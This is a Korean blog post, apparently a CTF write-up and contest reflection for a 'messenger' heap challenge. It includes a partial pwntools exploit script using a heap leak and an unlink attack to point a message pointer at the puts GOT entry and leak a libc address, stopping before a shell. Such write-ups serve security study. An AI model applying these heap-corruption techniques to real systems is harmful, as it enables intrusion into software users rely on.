하.. 이건 사연이 많다..
먼저

malloc과 free가 usercode로 프로그래밍 되어 있었다.

분석해서 free에서 unlink코드가 있다는 걸 알아냈고, 채팅방에 말했다.

heap 릭은 message수정할때 사이즈 체크를 안해서 따올 수 있었는데, 내가 분석할 동안 그부분부터 짜던

친구가 나보다 먼저 익스를 짜버렸다.. 이치에 맞긴 하지만 좀 속상했다....본선은 못갈듯 싶다



그 친구는 got에 쉘코드 주소를 올렸지만 

(heap에 실행권한)


나는 messenger heap주소가 잇는 bss에 exit_got를 올리고

libc릭한다음

exec_comm으로 원콤 내려했다.

릭까지하고 exec_comm 주소 찾고 있었는데,,

속상해서 멈췃다 암튼 익스 거기 까지 짰다. 못보겠다. ㅎㅣㅇ





from pwn import *
#raw_input()
import time
def leave(size,message):
	p.sendline('L')
	p.recvuntil('size : ')
	p.sendline(str(size))
	p.recvuntil('msg : ')
	p.sendline(message)
def remove(ind):
	p.sendline('R')
	p.recvuntil('index : ')
	p.sendline(str(ind))
def change(ind,size,message):
	p.sendline('C')
	#time.sleep(1)
	p.recvuntil('index')
	p.sendline(str(ind))
	#p.interactive()
	p.recvuntil('size')
	p.sendline(str(size))
	p.recvuntil('msg : ')
	p.send(message)

p=process('./messenger')
raw_input()
leave(10,'AAAA')
p.recvuntil('>>')
leave(30,'BBBB')
p.recvuntil('>>')
change(0,32,'A'*32)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('A'*32)
heapleak=u64(p.recv(4).ljust(8,'\x00'))
print hex(heapleak)
s=''
s+=p64(1)*3
s+=p64(0x90909090)
puts_got=0x0602018
s+=p64(0x6020c0-16)
s+=p64(puts_got)	#message1

change(0,48,s)
remove(1)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
print p.recv(6)

libcleak=u64(p.recv(6).ljust(8,'\x00'))

print hex(libcleak)

p.interactive()






자투리 대회 후기..

왤케 푼 문제들이 다 타이밍이 어긋나는지..ㅠㅠㅠ 결국은 아무것도 못푼 셈이 되버렸다..

그래도 행운은 보존된다고 했으니 다음에 더 큰 기회가 찾아 올것이고 더 공부 재밋게 또 열심히 해서 꽉 잡으면  될 것같다!

결과는 무시무시한 선배님들의 캐리로 대학생부 5등으로 마무리했다. 참 어찌 그리 잘하는지.. 신기하고 자랑스럽기도 하고 존경스럽기도 하고 이기고 싶기도 하고..

속상한데 교훈은 많다.. 뭔가 ctf를 넘어선 인생교훈..?

아무튼 결론은 타이밍이나 엉뚱한 이유로 묻히는 것 역시 결국 실력 부족이니 앞으로 더 열심히 해야겠다.


'CTF' 카테고리의 다른 글

[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]hello protector  (0) 2017.02.12
[codegate17 prequal]angrybird  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
[codegate2016]bugbug  (0) 2017.02.02

+ Recent posts